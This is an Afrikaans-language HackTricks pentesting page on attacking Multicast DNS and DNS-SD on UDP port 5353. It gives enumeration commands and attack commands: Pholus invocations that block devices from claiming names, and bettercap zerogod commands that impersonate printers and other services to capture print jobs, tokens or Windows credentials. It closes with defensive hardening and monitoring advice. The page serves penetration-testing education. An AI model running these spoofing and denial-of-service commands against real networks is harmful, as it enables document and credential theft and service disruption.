5353/UDP Multicast DNS (mDNS) en DNS-SD
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die š¬ Discord groep of die telegram groep of volg ons op Twitter š¦ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Multicast DNS (mDNS) stel DNS-agtige naamoplossing en diensontdekking in staat binne ān plaaslike skakel sonder ān unicast DNS-bediener. Dit gebruik UDP/5353 en die multicast adresse 224.0.0.251 (IPv4) en FF02::FB (IPv6). DNS Diensontdekking (DNS-SD, tipies gebruik saam met mDNS) bied ān gestandaardiseerde manier om dienste te tel en te beskryf via PTR, SRV en TXT rekords.
PORT STATE SERVICE
5353/udp open zeroconf
Belangrike protokol besonderhede wat jy dikwels tydens aanvalle sal benut:
- Name in die .local sone word via mDNS opgelos.
- QU (Query Unicast) bit kan unicast-antwoorde versoek selfs vir multicast-vrae.
- Implementasies moet pakkette wat nie van die plaaslike skakel afkomstig is nie, ignoreer; sommige stakke aanvaar steeds hulle.
- Probing/aanbieding afdwing unieke gasheer/dienste name; inmenging hier skep DoS/ānaam squatā toestande.
DNS-SD diensmodel
Dienste word geĆÆdentifiseer as _
Netwerk Verkenning en Enumerasie
- nmap teiken skandering (direkte mDNS op ān gasheer):
nmap -sU -p 5353 --script=dns-service-discovery <target>
- nmap uitsending ontdekking (luister na die segment en enumerate alle DNS-SD tipes/instansies):
sudo nmap --script=broadcast-dns-service-discovery
- avahi-browse (Linux):
# Lys diens tipes
avahi-browse -bt _services._dns-sd._udp
# Blaai alle dienste en los op na gasheer/poort
avahi-browse -art
- Apple dns-sd (macOS):
# Blaai alle HTTP dienste
dns-sd -B _http._tcp
# Enumereer diens tipes
dns-sd -B _services._dns-sd._udp
# Los 'n spesifieke instansie op na SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
- Pakket vang met tshark:
# Lewende vang
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Slegs DNS-SD diens lys vrae
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
Wenk: Sommige blaaiers/WebRTC gebruik ephemerale mDNS gasheername om plaaslike IPās te masker. As jy random-UUID.local kandidate op die draad sien, los hulle op met mDNS om na plaaslike IPās te pivot.
Aanvalle
mDNS naam probing inmenging (DoS / naam squat)
Tydens die probing fase, kontroleer ān gasheer naam uniekheid. Om te antwoord met gespoofde konflikte dwing dit om nuwe name te kies of te misluk. Dit kan diensregistrasie en ontdekking vertraag of voorkom.
Voorbeeld met Pholus:
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
Diens spoofing en impersonasie (MitM)
Impersonate geadverteerde DNS-SD dienste (drukkers, AirPlay, HTTP, lêer deel) om kliënte te dwing om met jou te verbind. Dit is veral nuttig om:
- Dokumente te vang deur _ipp._tcp of _printer._tcp te spoof.
- Kliƫnte na HTTP/HTTPS dienste te lok om tokens/kookies te versamel of payloads te lewer.
- Te kombineer met NTLM relay tegnieke wanneer Windows kliƫnte outentisering onderhandel met gespoofde dienste.
Met bettercap se zerogod module (mDNS/DNS-SD spoofer/impersonator):
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
Ook kyk na generiese LLMNR/NBNS/mDNS/WPAD spoofing en geloofsbrief vang/relay werkvloei:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Aantekeninge oor onlangse implementasie probleme (nuttig vir DoS/persistensie tydens betrokkenhede)
- Avahi bereikbare-assertie en D-Bus crash foute (2023) kan avahi-daemon op Linux verspreidings beƫindig (bv. CVE-2023-38469..38473, CVE-2023-1981), wat diensontdekking op teikenhosts ontwrig totdat dit herbegin word.
- Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (2024, CVE-2024-20303) laat aangrensende aanvallers toe om hoĆ« CPU te dryf en APās te ontkoppel. As jy ān mDNS-gateway tussen VLANās teĆ«kom, wees bewus van sy stabiliteit onder verkeerd gevormde of hoĆ«-tempo mDNS.
Verdedigende oorwegings en OPSEC
- Segmentgrense: Moet nie 224.0.0.251/FF02::FB tussen sekuriteitsgebiede roete nie, tensy ān mDNS-gateway eksplisiet vereis word. As jy ontdekking moet oorbrug, verkies toelaatlys en tempo beperkings.
- Windows eindpunte/bedieners:
- Om naamresolusie via mDNS hard te deaktiveer, stel die registerwaarde in en herbegin:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
- In bestuurde omgewings, deaktiveer die ingeboude āmDNS (UDP-In)ā Windows Defender Firewall reĆ«l (ten minste op die Domein profiel) om inkomende mDNS verwerking te voorkom terwyl huis/roaming funksionaliteit behou word.
- Op nuwer Windows 11 weergawes/GPO sjablone, gebruik die beleid āRekenaar Konfigurasie > Administratiewe Sjablone > Netwerk > DNS KliĆ«nt > Konfigureer multicast DNS (mDNS) protokolā en stel dit op Deaktiveer.
- Linux (Avahi):
- Beperk publikasie wanneer dit nie nodig is nie: stel
disable-publishing=yes, en beperk interfaces metallow-interfaces=/deny-interfaces=in/etc/avahi/avahi-daemon.conf. - Oorweeg
check-response-ttl=yesen vermyenable-reflector=yestensy dit streng vereis word; verkiesreflect-filters=toelaatlys wanneer jy reflekteer. - macOS: Beperk inkomende mDNS by gasheer/netwerk vuurmure wanneer Bonjour ontdekking nie nodig is vir spesifieke subnetwerke nie.
- Monitering: Alarmeer oor ongewone styging in
_services._dns-sd._udp.localnavrae of skielike veranderinge in SRV/TXT van kritieke dienste; dit is aanduiders van spoofing of diens impersonasie.
Gereedskap vinnige verwysing
- nmap NSE:
dns-service-discoveryenbroadcast-dns-service-discovery. - Pholus: aktiewe skandering, omgekeerde mDNS sweeps, DoS en spoofing helpers.
# Passiewe sniff (timeout sekondes)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumereer diens tipes
sudo python3 pholus3.py <iface> -sscan
# Stuur generiese mDNS versoeke
sudo python3 pholus3.py <iface> --request
# Omgekeerde mDNS sweep van 'n subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
- bettercap zerogod: ontdek, stoor, adverteer, en impersonate mDNS/DNS-SD dienste (sien voorbeelde hierbo).
Spoofing/MitM
Die mees interessante aanval wat jy oor hierdie diens kan uitvoer, is om ān MitM in die kommunikasie tussen die kliĆ«nt en die werklike bediener uit te voer. Jy mag in staat wees om sensitiewe lĆŖers te verkry (MitM die kommunikasie met die drukker) of selfs geloofsbriewe (Windows verifikasie).
Vir meer inligting, kyk:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Verwysings
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things
- Nmap NSE: broadcast-dns-service-discovery
- bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die š¬ Discord groep of die telegram groep of volg ons op Twitter š¦ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

